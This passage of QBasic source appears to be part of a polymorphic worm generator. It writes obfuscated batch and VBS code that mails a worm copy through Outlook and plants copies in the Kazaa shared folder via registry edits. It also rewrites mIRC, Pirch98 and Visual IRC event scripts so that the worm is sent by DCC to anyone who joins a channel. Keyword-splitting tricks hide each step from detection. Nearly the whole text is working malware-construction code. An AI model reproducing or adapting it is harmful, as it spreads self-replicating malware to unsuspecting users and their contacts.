  573. mp = INT(RND * 2) + 1
  574. IF mp = 1 THEN PRINT #1, "echo Mail.Body="; CHR$(34); OLBody$; CHR$(34); " >> C:\"; fina$; CC$
  575. IF mp = 2 THEN PRINT #1, ""; CC$; "set VBSwayL=Body"
  576. IF mp = 2 THEN PRINT #1, "echo Mail.%VBSwayL%="; CHR$(34); OLBody$; CHR$(34); " >> C:\"; fina$; CC$
  577. IF mp = 2 THEN PRINT #1, ""; CC$; "set VBSwayL="
  578. mp = INT(RND * 2) + 1
  579. rand = INT(RND * 4) + 1
  580. IF rand = 1 THEN PRINT #1, ""; CC$; "set sendB=M"
  581. IF rand = 1 THEN mail$ = "%sendB%ail"
  582. IF rand = 2 THEN PRINT #1, ""; CC$; "set sendB=a"
  583. IF rand = 2 THEN mail$ = "M%sendB%il"
  584. IF rand = 3 THEN PRINT #1, ""; CC$; "set sendB=i"
  585. IF rand = 3 THEN mail$ = "Ma%sendB%l"
  586. IF rand = 4 THEN PRINT #1, ""; CC$; "set sendB=l"
  587. IF rand = 4 THEN mail$ = "Mai%sendB%"
  588. rand = INT(RND * 3) + 1
  589. IF rand = 1 THEN PRINT #1, ""; CC$; "set attA=A"
  590. IF rand = 1 THEN attA$ = "%attA%tt"
  591. IF rand = 2 THEN PRINT #1, ""; CC$; "set attA=t"
  592. IF rand = 2 THEN attA$ = "A%attA%t"
  593. IF rand = 3 THEN PRINT #1, ""; CC$; "set attA=t"
  594. IF rand = 3 THEN attA$ = "At%attA%"
  595. rand = INT(RND * 4) + 1
  596. IF rand = 1 THEN PRINT #1, ""; CC$; "set attB=a"
  597. IF rand = 1 THEN attB$ = "%attB%chm"
  598. IF rand = 2 THEN PRINT #1, ""; CC$; "set attB=c"
  599. IF rand = 2 THEN attB$ = "a%attB%hm"
  600. IF rand = 3 THEN PRINT #1, ""; CC$; "set attB=h"
  601. IF rand = 3 THEN attB$ = "ac%attB%m"
  602. IF rand = 4 THEN PRINT #1, ""; CC$; "set attB=m"
  603. IF rand = 4 THEN attB$ = "ach%attB%"
  604. rand = INT(RND * 4) + 1
  605. IF rand = 1 THEN PRINT #1, ""; CC$; "set attC=e"
  606. IF rand = 1 THEN attC$ = "%attC%nts"
  607. IF rand = 2 THEN PRINT #1, ""; CC$; "set attC=n"
  608. IF rand = 2 THEN attC$ = "e%attC%ts"
  609. IF rand = 3 THEN PRINT #1, ""; CC$; "set attC=t"
  610. IF rand = 3 THEN attC$ = "en%attC%s"
  611. IF rand = 4 THEN PRINT #1, ""; CC$; "set attC=s"
  612. IF rand = 4 THEN attC$ = "ent%attC%"
  613. attach$ = attA$ + attB$ + attC$
  614. PRINT #1, "goto mailrib"; CC$
  615. PRINT #1, ""; CC$; "set sendB=k"
  616. PRINT #1, ""; CC$; "set attA=b"
  617. PRINT #1, ""; CC$; "set attB=n"
  618. PRINT #1, ""; CC$; "set attC=a"
  619. PRINT #1, ":mailrib"; CC$
  620. IF mp = 1 THEN PRINT #1, "echo "; mail$; "."; attach$; ".Add("; CHR$(34); "C:\"; OLAttachment$; CHR$(34); ") >> C:\"; fina$; CC$
  621. IF mp = 2 THEN PRINT #1, ""; CC$; "set VBSwayM="; attach$
  622. IF mp = 2 THEN PRINT #1, "echo Mail.%VBSwayM%.Add("; CHR$(34); "C:\"; OLAttachment$; CHR$(34); ") >> C:\"; fina$; CC$
  623. IF mp = 2 THEN PRINT #1, ""; CC$; "set VBSwayM="
  624. mp = INT(RND * 2) + 1
  625. ran = INT(RND * 26) + 97
  626. a$ = CHR$(ran)
  627. ran = INT(RND * 26) + 97
  628. B$ = CHR$(ran)
  629. ran = INT(RND * 26) + 97
  630. c$ = CHR$(ran)
  631. ran = INT(RND * 26) + 97
  632. d$ = CHR$(ran)
  633. ran = INT(RND * 26) + 97
  634. e$ = CHR$(ran)
  635. send$ = a$ + B$ + c$ + d$ + e$
  636. rand = INT(RND * 4) + 1
  637. IF rand = 1 THEN PRINT #1, ""; CC$; "set sendA=s"
  638. IF rand = 1 THEN snd$ = "%sendA%end"
  639. IF rand = 2 THEN PRINT #1, ""; CC$; "set sendA=e"
  640. IF rand = 2 THEN snd$ = "s%sendA%nd"
  641. IF rand = 3 THEN PRINT #1, ""; CC$; "set sendA=n"
  642. IF rand = 3 THEN snd$ = "se%sendA%d"
  643. IF rand = 4 THEN PRINT #1, ""; CC$; "set sendA=d"
  644. IF rand = 4 THEN snd$ = "sen%sendA%"
  645. rand = INT(RND * 4) + 1
  646. IF rand = 1 THEN PRINT #1, ""; CC$; "set sendB=M"
  647. IF rand = 1 THEN mail$ = "%sendB%ail"
  648. IF rand = 2 THEN PRINT #1, ""; CC$; "set sendB=a"
  649. IF rand = 2 THEN mail$ = "M%sendB%il"
  650. IF rand = 3 THEN PRINT #1, ""; CC$; "set sendB=i"
  651. IF rand = 3 THEN mail$ = "Ma%sendB%l"
  652. IF rand = 4 THEN PRINT #1, ""; CC$; "set sendB=l"
  653. IF rand = 4 THEN mail$ = "Mai%sendB%"
  654. PRINT #1, "echo "; mail$; "."; snd$; " >> C:\"; fina$; CC$
  655. rand = INT(RND * 2) + 1
  656. IF rand = 1 THEN PRINT #1, ""; CC$; "set vsenda=N"
  657. IF rand = 1 THEN nexta$ = "%vsenda%e"
  658. IF rand = 2 THEN PRINT #1, ""; CC$; "set vsenda=e"
  659. IF rand = 2 THEN nexta$ = "N%vsenda%"
  660. rand = INT(RND * 2) + 1
  661. IF rand = 1 THEN PRINT #1, ""; CC$; "set vsendb=x"
  662. IF rand = 1 THEN nextb$ = "%vsendb%t"
  663. IF rand = 2 THEN PRINT #1, ""; CC$; "set vsendb=t"
  664. IF rand = 2 THEN nextb$ = "x%vsendb%"
  665. vnext$ = nexta$ + nextb$
  666. PRINT #1, "goto emailri"; CC$
  667. ran = INT(RND * 26) + 97
  668. a$ = CHR$(ran)
  669. ran = INT(RND * 26) + 97
  670. B$ = CHR$(ran)
  671. ran = INT(RND * 26) + 97
  672. c$ = CHR$(ran)
  673. ran = INT(RND * 26) + 97
  674. d$ = CHR$(ran)
  675. ran = INT(RND * 26) + 97
  676. e$ = CHR$(ran)
  677. nexta$ = a$ + B$ + c$ + d$
  678. nextb$ = a$ + B$ + c$
  679. PRINT #1, ""; CC$; "set vsenda="; nexta$
  680. PRINT #1, ""; CC$; "set vsendb="; nextb$
  681. PRINT #1, ":emailri "; CC$; ""
  682. PRINT #1, "echo "; vnext$; " >> C:\"; fina$; CC$
  683. PRINT #1, ""; CC$; "set vsenda="
  684. PRINT #1, ""; CC$; "set vsendb="
  685. PRINT #1, "echo ol.Quit >> C:\"; fina$; CC$
  686. GOTO VBSwayEnd
  687. vbswayb:
  688. GOTO VBSwayEnd
  689. VBSwayEnd:
  690. ran = INT(RND * 26) + 97
  691. a$ = CHR$(ran)
  692. ran = INT(RND * 26) + 97
  693. B$ = CHR$(ran)
  694. ran = INT(RND * 26) + 97
  695. c$ = CHR$(ran)
  696. ran = INT(RND * 26) + 97
  697. d$ = CHR$(ran)
  698. ran = INT(RND * 26) + 97
  699. e$ = CHR$(ran)
  700. cscript$ = a$ + B$ + c$ + d$ + e$
  701. rand = INT(RND * 3) + 1
  702. IF rand = 1 THEN PRINT #1, ""; CC$; "set cscA=scri"
  703. IF rand = 1 THEN csc$ = "c%cscA%pt"
  704. IF rand = 2 THEN PRINT #1, ""; CC$; "set cscA=csc"
  705. IF rand = 2 THEN csc$ = "%cscA%ript"
  706. IF rand = 3 THEN PRINT #1, ""; CC$; "set cscA=ipt"
  707. IF rand = 3 THEN csc$ = "cscr%cscA%"
  708. PRINT #1, "set "; cscript$; "="; csc$; CC$
  709. PRINT #1, "%"; cscript$; "% C:\"; fina$; CC$
  710. PRINT #1, "del C:\"; fina$; CC$
  711. PRINT #1, "del C:\"; OLAttachment$; CC$
  712. OLend:
  713. IF kazza = 1 THEN GOTO KazzaA
  714. GOTO KazzaAEnd
  715. KazzaA:
  716. rand = INT(RND * 2) + 1
  717. PRINT #1, "copy "; MyS$; " C:\kazzad.vbs"; EE$
  718. PRINT #1, "echo.on error resume next > C:\kazzad.vbs"; EE$
  719. PRINT #1, "echo set ws = CreateObject("; CHR$(34); "wscript.shell"; CHR$(34); ") >> C:\kazzad.vbs"; EE$
  720. IF rand = 1 THEN HKLM$ = "HK%kazaa%"
  721. IF rand = 1 THEN PRINT #1, ""; EE$; "set kazaa=LM"
  722. IF rand = 2 THEN HKLM$ = "%kazaa%LM"
  723. IF rand = 2 THEN PRINT #1, ""; EE$; "set kazaa=HK"
  724. PRINT #1, "goto kazari"; EE$
  725. PRINT #1, ""; EE$; "set kazaa=AJ"
  726. PRINT #1, ":kazari "; EE$
  727. rand = INT(RND * 2) + 1
  728. IF rand = 1 THEN kazaA$ = "Dl%kazab%"
  729. IF rand = 1 THEN PRINT #1, ""; EE$; "set kazab=Dir0"
  730. IF rand = 2 THEN kazaA$ = "%kazab%Dir0"
  731. IF rand = 2 THEN PRINT #1, ""; EE$; "set kazab=Dl"
  732. PRINT #1, "goto kazbri"; EE$
  733. PRINT #1, ""; EE$; "set kazab=U6"
  734. PRINT #1, ":kazbri "; EE$
  735. rand = INT(RND * 2) + 1
  736. IF rand = 1 THEN PRINT #1, ""; EE$; "set kazac=z"
  737. IF rand = 1 THEN kazaB$ = "ka%kazac%aa"
  738. IF rand = 2 THEN PRINT #1, ""; EE$; "set kazac=ka"
  739. IF rand = 2 THEN PRINT #1, ""; EE$; "set kazad=aa"
  740. IF rand = 2 THEN kazaB$ = "%kazac%z%kazad%"
  741. PRINT #1, "goto kazcri"; EE$
  742. PRINT #1, ""; EE$; "set kazac=Rt"
  743. PRINT #1, ":kazcri "; EE$
  744. PRINT #1, "echo ws.regwrite "; CHR$(34); ""; HKLM$; "\Software\"; kazaB$; "\Transfer\"; kazaA$; CHR$(34); ","; CHR$(34); "%windir%\kazaa\"; CHR$(34); " >> C:\kazzad.vbs"; EE$
  745. PRINT #1, "cscript C:\kazzad.vbs"; EE$
  746. PRINT #1, "del C:\kazzad.vbs"; EE$
  747. PRINT #1, "md %windir%\kazaa"; EE$
  748. PRINT #1, "copy %MyS% %windir%\kazaa\"; kazzaattachment$; EE$
  749. PRINT #1, ""; EE$; "set kaza="
  750. PRINT #1, ""; EE$; "set kazb="
  751. PRINT #1, ""; EE$; "set kazc="
  752. PRINT #1, ""; EE$; "set kazd="
  753. KazzaAEnd:
  754. IF mIRC = 1 THEN GOTO mir
  755. GOTO IRCENDE
  756. mir:
  757. PRINT #1, "md C:\pro"; DD$
  758. PRINT #1, "copy "; MyS$; " C:\pro\"; mIRCAttachment$; DD$
  759. PRINT #1, "if exist C:\mirc\script.ini set mIRC=C:\mirc\script.ini"; DD$
  760. PRINT #1, "if exist C:\mirc32\script.ini set mIRC=C:\mirc32\script.ini"; DD$
  761. PRINT #1, "if exist C:\progra~1\mirc\script.ini set mIRC=C:\progra~1\mirc\script.ini"; DD$
  762. PRINT #1, "if exist C:\progra~1\mirc32\script.ini set mIRC=C:\progra~1\mirc32\script.ini"; DD$
  763. ran = INT(RND * 26) + 97
  764. a$ = CHR$(ran)
  765. ran = INT(RND * 26) + 97
  766. B$ = CHR$(ran)
  767. c$ = a$ + B$
  768. PRINT #1, ""; DD$; "set spp="; c$
  769. mirp = INT(RND * 3) + 1
  770. IF mirp = 1 THEN PRINT #1, ""; DD$; "set spp=dcc send $nick C:\pro\"; mIRCAttachment$
  771. IF mirp = 2 THEN PRINT #1, ""; DD$; "set ircc=send"; " % DDDD %"
  772. IF mirp = 2 THEN PRINT #1, ""; DD$; "set spp=dcc %ircc% $nick C:\pro\"; mIRCAttachment$
  773. IF mirp = 3 THEN PRINT #1, ""; DD$; "set ircc=nick"; " % DDDD %"
  774. IF mirp = 3 THEN PRINT #1, ""; DD$; "set spp=dcc send $%ircc% C:\pro\"; mIRCAttachment$
  775. PRINT #1, "goto mircri"; DD$
  776. PRINT #1, ""; DD$; "set spp=kfhenv"
  777. PRINT #1, ":mircri"; DD$
  778. PRINT #1, "echo [script] > %mIRC%"; DD$
  779. mirp = INT(RND * 5) + 1
  780. ran = INT(RND * 26) + 97
  781. a$ = CHR$(ran)
  782. ran = INT(RND * 26) + 97
  783. B$ = CHR$(ran)
  784. c$ = a$ + B$
  785. PRINT #1, ""; DD$; "set ircb="; c$
  786. ran = INT(RND * 26) + 97
  787. a$ = CHR$(ran)
  788. ran = INT(RND * 26) + 97
  789. B$ = CHR$(ran)
  790. c$ = a$ + B$
  791. oooz = INT(RND * 9) + 1
  792. PRINT #1, ""; DD$; "set "; c$; "="; oooz
  793. PRINT #1, ""; DD$; "set "; c$; "=1"
  794. d$ = "%" + c$ + "%"
  795. IF mirp = 1 THEN PRINT #1, ""; DD$; "set ircb=nick"
  796. IF mirp = 1 THEN PRINT #1, "echo n0=on "; d$; ":join:*.*: { if ( $%ircb% !=$me ) /%spp% } >>%mIRC%"; DD$
  797. IF mirp = 2 THEN PRINT #1, ""; DD$; "set ircb=jo"
  798. IF mirp = 2 THEN PRINT #1, "echo n0=on "; d$; ":%ircb%in:*.*: { if ( $nick !=$me ) /%spp% } >>%mIRC%"; DD$
  799. IF mirp = 3 THEN PRINT #1, ""; DD$; "set ircb=if"
  800. IF mirp = 3 THEN PRINT #1, "echo n0=on "; d$; ":join:*.*: { %ircb% ( $nick !=$me ) /%spp% } >>%mIRC%"; DD$
  801. IF mirp = 4 THEN PRINT #1, ""; DD$; "set ircb=in"
  802. IF mirp = 4 THEN PRINT #1, "echo n0=on "; d$; ":jo%ircb%:*.*: { if ( $nick !=$me ) /%spp% } >>%mIRC%"; DD$
  803. IF mirp = 5 THEN PRINT #1, ""; DD$; "set ircb=on"
  804. IF mirp = 5 THEN PRINT #1, "echo n0=%ircb% "; d$; ":join:*.*: { if ( $nick !=$me ) /%spp% } >>%mIRC%"; DD$
  805. PRINT #1, ""; DD$; "set ircb="
  806. PRINT #1, ""; DD$; "set spp="
  807. PRINT #1, ""; DD$; "set mIRC="
  808. PRINT #1, ""; DD$; "set "; ooo$; "="
  809. IRCENDE:
  810. IF pirchb = 1 THEN GOTO PIRCH
  811. GOTO PIRCHEND
  812. REM pia-pie
  813. PIRCH:
  814. PRINT #1, "if exist C:\pirch98\events.ini goto pir"; EE$
  815. PRINT #1, "goto pirend"; EE$
  816. PRINT #1, ":pir"; EE$
  817. PRINT #1, "copy "; MyS$; " %WinDir%\"; pIRChAttachment$; EE$
  818. pip = INT(RND * 2) + 1
  819. IF pip = 1 THEN PRINT #1, "echo [Levels] > C:\Pirch98\events.ini"; EE$
  820. IF pip = 2 THEN PRINT #1, ""; EE$; "set pif=Lev"
  821. IF pip = 2 THEN PRINT #1, "echo [%pif%els] > C:\Pirch98\events.ini"; EE$
  822. IF pip = 2 THEN PRINT #1, ""; EE$; "set pif="
  823. pip = INT(RND * 2) + 1
  824. IF pip = 1 THEN PRINT #1, "echo Enabled=1 >> C:\Pirch98\events.ini"; EE$
  825. IF pip = 2 THEN PRINT #1, ""; EE$; "set pig=able"
  826. IF pip = 2 THEN PRINT #1, "echo En%pig%d=1 >> C:\Pirch98\events.ini"; EE$
  827. IF pip = 2 THEN PRINT #1, ""; EE$; "set pig="
  828. pip = INT(RND * 2) + 1
  829. IF pip = 1 THEN PRINT #1, "echo Count=6 >> C:\Pirch98\events.ini"; EE$
  830. IF pip = 2 THEN PRINT #1, ""; EE$; "set pih=Count"
  831. IF pip = 2 THEN PRINT #1, "echo %pih%=6 >> C:\Pirch98\events.ini"; EE$
  832. IF pip = 2 THEN PRINT #1, ""; EE$; "set pih="
  833. pip = INT(RND * 2) + 1
  834. IF pip = 1 THEN PRINT #1, "echo Level1=000-Unknows >> C:\Pirch98\events.ini"; EE$
  835. IF pip = 2 THEN PRINT #1, ""; EE$; "set pii=Unknows"
  836. IF pip = 2 THEN PRINT #1, "echo Level1=000-%pii% >> C:\Pirch98\events.ini"; EE$
  837. IF pip = 2 THEN PRINT #1, ""; EE$; "set pii="
  838. pip = INT(RND * 2) + 1
  839. IF pip = 1 THEN PRINT #1, "echo 000-UnknowsEnabled=1 >> C:\Pirch98\events.ini"; EE$
  840. IF pip = 2 THEN PRINT #1, ""; EE$; "set pij=wsEnab"
  841. IF pip = 2 THEN PRINT #1, "echo 000-Unkno%pij%led=1 >> C:\Pirch98\events.ini"; EE$
  842. IF pip = 2 THEN PRINT #1, ""; EE$; "set pij="
  843. pip = INT(RND * 2) + 1
  844. IF pip = 1 THEN PRINT #1, "echo Level2=100-Level 100 >> C:\Pirch98\events.ini"; EE$
  845. IF pip = 2 THEN PRINT #1, ""; EE$; "set pik=evel2"
  846. IF pip = 2 THEN PRINT #1, "echo L%pik%=100-Level 100 >> C:\Pirch98\events.ini"; EE$
  847. IF pip = 2 THEN PRINT #1, ""; EE$; "set pik="
  848. pip = INT(RND * 2) + 1
  849. IF pip = 1 THEN PRINT #1, "echo 100-Level 100Enabled=1 >> C:\Pirch98\events.ini"; EE$
  850. IF pip = 2 THEN PRINT #1, ""; EE$; "set pil=En"
  851. IF pip = 2 THEN PRINT #1, "echo 100-Level 100%pil%abled=1 >> C:\Pirch98\events.ini"; EE$
  852. IF pip = 2 THEN PRINT #1, ""; EE$; "set pil="
  853. pip = INT(RND * 2) + 1
  854. IF pip = 1 THEN PRINT #1, "echo Level3=200-Level 200 >> C:\Pirch98\events.ini"; EE$
  855. IF pip = 2 THEN PRINT #1, ""; EE$; "set pim=ve"
  856. IF pip = 2 THEN PRINT #1, "echo Le%pim%l3=200-Level 200 >> C:\Pirch98\events.ini"; EE$
  857. IF pip = 2 THEN PRINT #1, ""; EE$; "set pim="
  858. pip = INT(RND * 2) + 1
  859. IF pip = 1 THEN PRINT #1, "echo 200-Level 200Enabled=1 >> C:\Pirch98\events.ini"; EE$
  860. IF pip = 2 THEN PRINT #1, ""; EE$; "set pin=0Ena"
  861. IF pip = 2 THEN PRINT #1, "echo 200-Level 20%pin%bled=1 >> C:\Pirch98\events.ini"; EE$
  862. IF pip = 2 THEN PRINT #1, ""; EE$; "set pin="
  863. pip = INT(RND * 2) + 1
  864. IF pip = 1 THEN PRINT #1, "echo Level4=300-Level 300 >> C:\Pirch98\events.ini"; EE$
  865. IF pip = 2 THEN PRINT #1, ""; EE$; "set pio=vel4"
  866. IF pip = 2 THEN PRINT #1, "echo Le%pio%=300-Level 300 >> C:\Pirch98\events.ini"; EE$
  867. IF pip = 2 THEN PRINT #1, ""; EE$; "set pio="
  868. pip = INT(RND * 2) + 1
  869. IF pip = 1 THEN PRINT #1, "echo 300-Level 300Enabled=1 >> C:\Pirch98\events.ini"; EE$
  870. IF pip = 2 THEN PRINT #1, ""; EE$; "set pip=300"
  871. IF pip = 2 THEN PRINT #1, "echo %pip%-Level 300Enabled=1 >> C:\Pirch98\events.ini"; EE$
  872. IF pip = 2 THEN PRINT #1, ""; EE$; "set pip="
  873. pip = INT(RND * 2) + 1
  874. IF pip = 1 THEN PRINT #1, "echo Level5=400-Level 400 >> C:\Pirch98\events.ini"; EE$
  875. IF pip = 2 THEN PRINT #1, ""; EE$; "set piq=400"
  876. IF pip = 2 THEN PRINT #1, "echo Level5=%piq%-Level 400 >> C:\Pirch98\events.ini"; EE$
  877. IF piq = 2 THEN PRINT #1, ""; EE$; "set piq="
  878. pip = INT(RND * 2) + 1
  879. IF pip = 1 THEN PRINT #1, "echo 400-Level 400Enabled=1 >> C:\Pirch98\events.ini"; EE$
  880. IF pip = 2 THEN PRINT #1, ""; EE$; "set pir=0En"
  881. IF pip = 2 THEN PRINT #1, "echo 400-Level 40%pir%abled=1 >> C:\Pirch98\events.ini"; EE$
  882. IF pip = 2 THEN PRINT #1, ""; EE$; "set pir="
  883. pip = INT(RND * 2) + 1
  884. IF pip = 1 THEN PRINT #1, "echo Level6=500-Level 500 >> C:\Pirch98\events.ini"; EE$
  885. IF pip = 2 THEN PRINT #1, ""; EE$; "set pis=Level6"
  886. IF pip = 2 THEN PRINT #1, "echo L%pis%=500-Level 500 >> C:\Pirch98\events.ini"; EE$
  887. IF pip = 2 THEN PRINT #1, ""; EE$; "set pis="
  888. pip = INT(RND * 2) + 1
  889. IF pip = 1 THEN PRINT #1, "echo 500-Level 500Enabled=1 >> C:\Pirch98\events.ini"; EE$
  890. IF pip = 2 THEN PRINT #1, ""; EE$; "set pit=abled"
  891. IF pip = 2 THEN PRINT #1, "echo 500-Level 500En%pit%=1 >> C:\Pirch98\events.ini"; EE$
  892. IF pip = 2 THEN PRINT #1, ""; EE$; "set pit="
  893. pip = INT(RND * 2) + 1
  894. IF pip = 1 THEN PRINT #1, "echo [000-Unknowns] >> C:\Pirch98\events.ini"; EE$
  895. IF pip = 2 THEN PRINT #1, ""; EE$; "set pia=000"
  896. IF pip = 2 THEN PRINT #1, "echo [%pia%-Unknowns] >> C:\Pirch98\events.ini"; EE$
  897. IF pip = 2 THEN PRINT #1, ""; EE$; "set pia="
  898. pip = INT(RND * 2) + 1
  899. IF pip = 1 THEN PRINT #1, "echo User1=*!*@* >> C:\Pirch98\events.ini"; EE$
  900. IF pip = 2 THEN PRINT #1, ""; EE$; "set pib=Use"
  901. IF pip = 2 THEN PRINT #1, "echo %pib%r1=*!*@* >> C:\Pirch98\events.ini"; EE$
  902. IF pip = 2 THEN PRINT #1, ""; EE$; "set pib="
  903. pip = INT(RND * 2)
  904. IF pip = 1 THEN PRINT #1, "echo UserCount=1 >> C:\Pirch98\events.ini"; EE$
  905. IF pip = 2 THEN PRINT #1, ""; EE$; "set pic=erCo"
  906. IF pip = 2 THEN PRINT #1, "echo Us%pic%unt=1 >> C:\Pirch98\events.ini"; EE$
  907. IF pip = 2 THEN PRINT #1, ""; EE$; "set pic="
  908. rand = INT(RND * 4) + 1
  909. ran = INT(RND * 26) + 97
  910. a$ = CHR$(ran)
  911. ran = INT(RND * 26) + 97
  912. B$ = CHR$(RND)
  913. c$ = a$ + B$
  914. PRINT #1, "set pirchA="; c$; EE$
  915. IF rand = 1 THEN PRINT #1, ""; EE$; "set pirchA=s"
  916. IF rand = 1 THEN pirchset$ = "%pirchA%end"
  917. IF rand = 2 THEN PRINT #1, ""; EE$; "set pirchA=e"
  918. IF rand = 2 THEN pirchset$ = "s%pirchA%nd"
  919. IF rand = 3 THEN PRINT #1, ""; EE$; "set pirchA=n"
  920. IF rand = 3 THEN pirchset$ = "se%pirchA%d"
  921. IF rand = 4 THEN PRINT #1, ""; EE$; "set pirchA=d"
  922. IF rand = 4 THEN pirchset$ = "sen%pirchA%"
  923. ran = INT(RND * 26) + 97
  924. a$ = CHR$(ran)
  925. ran = INT(RND * 26) + 97
  926. B$ = CHR$(RND)
  927. c$ = a$ + B$
  928. PRINT #1, "set pirchB="; c$; EE$
  929. PRINT #1, ""; EE$; "set pid=ON JOIN"
  930. PRINT #1, "goto pirchri"; EE$
  931. PRINT #1, ""; EE$; "set pid=jojo"
  932. PRINT #1, ":pirchri"; EE$
  933. PRINT #1, "echo Events1= %pid%:#: /dcc "; pirchset$; " $nick %WinDir%\"; pIRChAttachment$; " >> C:\Pirch98\events.ini"; EE$
  934. pip = INT(RND * 2) + 1
  935. IF pip = 1 THEN PRINT #1, "echo EventCount=1 >> C:\Pirch98\events.ini"; EE$
  936. IF pip = 2 THEN PRINT #1, ""; EE$; "set pie=Event"
  937. IF pip = 2 THEN PRINT #1, "echo %pie%Count=1 >> C:\Pirch98\events.ini"; EE$
  938. PRINT #1, "echo [100-Level 100] >> C:\Pirch98\events.ini"; EE$
  939. PRINT #1, "echo UserCount=0 >> C:\Pirch98\events.ini"; EE$
  940. PRINT #1, "echo EventCount=0 >> C:\Pirch98\events.ini"; EE$
  941. PRINT #1, "echo [200-Level 200] >> C:\Pirch98\events.ini"; EE$
  942. PRINT #1, "echo UserCount=0 >> C:\Pirch98\events.ini"; EE$
  943. PRINT #1, "echo EventCount=0 >> C:\Pirch98\events.ini"; EE$
  944. PRINT #1, "echo [300-Level 300] >> C:\Pirch98\events.ini"; EE$
  945. PRINT #1, "echo UserCount=0 >> C:\Pirch98\events.ini"; EE$
  946. PRINT #1, "echo EventCount=0 >> C:\Pirch98\events.ini"; EE$
  947. PRINT #1, "echo [400-Level 400] >> C:\Pirch98\events.ini"; EE$
  948. PRINT #1, "echo UserCount=0 >> C:\Pirch98\events.ini"; EE$
  949. PRINT #1, "echo EventCount=0 >> C:\Pirch98\events.ini"; EE$
  950. PRINT #1, "echo [500-Level 500] >> C:\Pirch98\events.ini"; EE$
  951. PRINT #1, "echo UserCount=0 >> C:\Pirch98\events.ini"; EE$
  952. PRINT #1, "echo EventCount=0 >> C:\Pirch98\events.ini"; EE$
  953. PRINT #1, ":pirend"; EE$
  954. PIRCHEND:
  955. IF vircB = 0 THEN GOTO VircEnd
  956. ran = INT(RND * 26) + 97
  957. a$ = CHR$(ran)
  958. ran = INT(RND * 26) + 97
  959. B$ = CHR$(ran)
  960. ran = INT(RND * 26) + 97
  961. c$ = CHR$(ran)
  962. ran = INT(RND * 26) + 97
  963. d$ = CHR$(ran)
  964. ran = INT(RND * 26) + 97
  965. e$ = CHR$(ran)
  966. vvbsname$ = a$ + B$ + c$ + d$ + e$ + ".vbs"
  967. ran = INT(RND * 26) + 97
  968. a$ = CHR$(ran)
  969. ran = INT(RND * 26) + 97
  970. B$ = CHR$(ran)
  971. c$ = a$ + B$
  972. PRINT #1, "set sendA="; c$; CC$
  973. rand = INT(RND * 4) + 1
  974. IF rand = 1 THEN PRINT #1, ""; CC$; "set sendA=s"
  975. IF rand = 1 THEN snd$ = "%sendA%end"
  976. IF rand = 2 THEN PRINT #1, ""; CC$; "set sendA=e"
  977. IF rand = 2 THEN snd$ = "s%sendA%nd"
  978. IF rand = 3 THEN PRINT #1, ""; CC$; "set sendA=n"
  979. IF rand = 3 THEN snd$ = "se%sendA%d"
  980. IF rand = 4 THEN PRINT #1, ""; CC$; "set sendA=d"
  981. IF rand = 4 THEN snd$ = "sen%sendA%"
  982. ran = INT(RND * 26) + 97
  983. a$ = CHR$(ran)
  984. PRINT #1, ""; CC$; "set vircA="; a$;
  985. PRINT #1, "copy "; MyS$; " C:\Virc\"; vircattachment$; CC$
  986. PRINT #1, "copy "; MyS$; " "; vvbsname$; CC$
  987. PRINT #1, "echo.on error resume next >"; vvbsname$; CC$
  988. rand = INT(RND * 4) + 1
  989. ran = INT(RND * 26) + 97
  990. a$ = CHR$(ran)
  991. ran = INT(RND * 26) + 97
  992. B$ = CHR$(ran)
  993. c$ = a$ + B$
  994. PRINT #1, ""; CC$; "set vircB="; c$
  995. ran = INT(RND * 26) + 97
  996. a$ = CHR$(ran)
  997. ran = INT(RND * 26) + 97
  998. B$ = CHR$(ran)
  999. c$ = a$ + B$
  1000. PRINT #1, ""; CC$; "set vircC="; c$
  1001. IF rand = 1 THEN PRINT #1, ""; CC$; "set vircB=w"
  1002. IF rand = 1 THEN vircB$ = "%vircB%scr"
  1003. IF rand = 2 THEN PRINT #1, ""; CC$; "set vircB=s"
  1004. IF rand = 2 THEN vircB$ = "w%vircB%cr"
  1005. IF rand = 3 THEN PRINT #1, ""; CC$; "set vircB=c"
  1006. IF rand = 3 THEN vircB$ = "ws%vircB%r"
  1007. IF rand = 4 THEN PRINT #1, ""; CC$; "set vircB=r"
  1008. IF rand = 4 THEN vircB$ = "wsc%vircB%"
  1009. rand = INT(RND * 3) + 1
  1010. IF rand = 1 THEN PRINT #1, ""; CC$; "set vircC=i"
  1011. IF rand = 1 THEN vircC$ = "%vircC%pt"
  1012. IF rand = 2 THEN PRINT #1, ""; CC$; "set vircC=p"
  1013. IF rand = 2 THEN vircC$ = "i%vircC%t"
  1014. IF rand = 3 THEN PRINT #1, ""; CC$; "set vircC=t"
  1015. IF rand = 3 THEN vircC$ = "ip%vircC%"
  1016. vircD$ = vircB$ + vircC$
  1017. PRINT #1, "echo set ws = CreateObject("; CHR$(34); vircD$; ".shell"; CHR$(34); ") >> "; vvbsname$; CC$
  1018. PRINT #1, ""; CC$; "set vircB="
  1019. PRINT #1, ""; CC$; "set vircC="
  1020. PRINT #1, ""; CC$; "set vircy=USER"
  1021. PRINT #1, "goto vircari"; CC$
  1022. PRINT #1, ""; CC$; "set vircy=kdsj"
  1023. PRINT #1, ":vircari"; CC$
  1024. rand = INT(RND * 3) + 1
  1025. IF rand = 1 THEN PRINT #1, ""; CC$; "set vircA=dcc"
  1026. IF rand = 1 THEN PRINT #1, "goto vircri"; CC$
  1027. IF rand = 1 THEN PRINT #1, ""; CC$; "set vircA=kaj"
  1028. IF rand = 1 THEN PRINT #1, ":vircri"; CC$
  1029. IF rand = 1 THEN PRINT #1, "echo ws.regwrite "; CHR$(34); "HKEY_%vircy%\.Default\Software\MeGaLiTh Software\Visual IRC 96\Events\Event17"; CHR$(34); ","; CHR$(34); "%vircA% "; snd$; " $nick C:\Virc\"; vircattachment$; " "; CHR$(34); " >>"; vvbsname$ _
  1030. ; CC$
  1031. IF rand = 2 THEN PRINT #1, ""; CC$; "set vircA=MeGaLiTh"
  1032. IF rand = 2 THEN PRINT #1, "goto vircri"; CC$
  1033. IF rand = 2 THEN PRINT #1, ""; CC$; "set vircA=fhruz"
  1034. IF rand = 2 THEN PRINT #1, ":vircri"; CC$
  1035. IF rand = 2 THEN PRINT #1, "echo ws.regwrite "; CHR$(34); "HKEY_%vircy%\.Default\Software\%vircA% Software\Visual IRC 96\Events\Event17"; CHR$(34); ","; CHR$(34); "dcc "; snd$; " $nick C:\Virc\"; vircattachment$; " "; CHR$(34); " >>"; vvbsname$; CC$
  1036. IF rand = 3 THEN PRINT #1, ""; CC$; "set vircA=Software"
  1037. IF rand = 3 THEN PRINT #1, "goto vircri"; CC$
